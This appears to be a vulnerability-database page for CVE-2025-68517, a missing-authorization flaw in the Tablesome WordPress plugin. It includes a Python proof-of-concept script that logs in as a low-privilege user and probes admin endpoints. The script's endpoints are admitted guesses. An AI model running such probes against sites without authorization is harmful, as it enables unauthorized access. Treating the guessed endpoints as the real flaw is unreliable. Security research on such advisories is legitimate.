CVE-2025-68517

Description

Missing Authorization vulnerability in Essekia Tablesome tablesome allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Tablesome: from n/a through <= 1.1.35.1.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Tablesome <= 1.1.35.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-68517 Tablesome Broken Access Control PoC
# Affected: Tablesome <= 1.1.35.1
# Type: Missing Authorization

import requests
import sys

target = "http://target-wordpress-site.com"
username = "low_privilege_user"
password = "user_password"

session = requests.Session()

# Login to WordPress
login_url = f"{target}/wp-login.php"
login_data = {
    "log": username,
    "pwd": password,
    "wp-submit": "Log In"
}

response = session.post(login_url, data=login_data, allow_redirects=False)

if "wordpress_logged_in" not in str(session.cookies) and response.status_code != 302:
    print("[-] Login failed")
    sys.exit(1)

print("[+] Login successful")

# Exploit: Access admin-only endpoint without proper authorization
# Replace endpoint with actual vulnerable Tablesome endpoint
tablesome_endpoints = [
    "/wp-json/tablesome/v1/tables",
    "/wp-admin/admin-ajax.php?action=tablesome_get_tables",
    "/wp-json/tablesome/v1/settings"
]

for endpoint in tablesome_endpoints:
    url = f"{target}{endpoint}"
    print(f"\n[*] Testing endpoint: {url}")
    
    response = session.get(url, timeout=10)
    
    if response.status_code == 200:
        print(f"[+] VULNERABLE: Endpoint accessible with low privilege account")
        print(f"Response: {response.text[:500]}")
    elif response.status_code == 403:
        print(f"[-] Protected: 403 Forbidden")
    else:
        print(f"[*] Status: {response.status_code}")

print("\n[!] PoC completed - verify results manually")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-68517
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-68517
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-68517/
[4] VulDB https://vuldb.com/cve/CVE-2025-68517
[5] https://patchstack.com/database/Wordpress/Plugin/tablesome/vulnerability/wordpress-tablesome-plugin-1-1-35-1-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

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